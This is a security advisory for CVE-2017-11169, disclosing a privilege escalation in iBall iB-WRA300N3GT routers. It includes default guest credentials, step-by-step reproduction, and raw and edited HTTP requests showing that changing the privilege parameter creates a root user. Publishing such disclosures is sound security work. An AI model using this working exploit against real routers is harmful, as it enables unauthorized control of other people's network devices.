Privelege Escalation in iBall iB-WRA300N3GT Devices

         Privilege Escalation on iBall iB-WRA300N3GT (Routers) devices allows remote authenticated users to obtain root privileges by leveraging a guest/user/normal account to submit a modified privilege parameter.

Reproduction Steps:

Step 1 : Logon to Router using Guest privileges. (Default : Username : guest , Password : guest)

Step 2 : Goto Maintenance Tab

Step 3 : Click on Password Tab (On Right Panel)

Step 4 : Enter new user name and password for adding new guest user

Step 5 : Intercept HTTP request

Step 6 : A sample HTTP request will look like following one.

====================HTTP Request Sample=======================
   POST /form2userconfig.cgi HTTP/1.1
   Referer: http://192.168.1.1/userconfig.htm?v=1499683514000
   Cookie: SessionID=
   username=test&privilege=0&newpass=hello&confpass=hello&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

Step 7 : Change privilege parameter from 0 to 2 and forward the HTTP request.

=====================Edited HTTP Request=======================

   POST /form2userconfig.cgi HTTP/1.1
   Referer: http://192.168.1.1/userconfig.htm?v=1499683514000
   Cookie: SessionID=
   username=test&privilege=2&newpass=hello&confpass=hello&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

A new user "test" will be created with root privileges from "guest" account !!

Affected Product : iBall iB-WRA300N3GT

Firmware Version : iB-WRA300N3GT_1.1.1

Vulnerability Type : Insecure Permissions

Vulnerability Impact : Escalation of Privileges

 Timeline: 
25/05/2017 - Vulnerability Found
05/06/2017 - **CVE-2017-11169 Assigned
11/06/2017 - Reported to iBall
23/07/2017 - iBall Customer Support Replied(Escalated Internally)
05/08/2017 - No Response
02/09/2017 - No Response
13/11/2017 - Public Disclosure


Notes :

• **The Common Vulnerabilities and Exposures (CVE) project has assigned the ID CVE-2017-11169 to this issue. This is an entry on the CVE List, which standardizes names for security problems.
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11169
• CVE ID: CVE- 2017-11169
• In case of any doubts please contact me on unqdrms [at] gmail [dot] com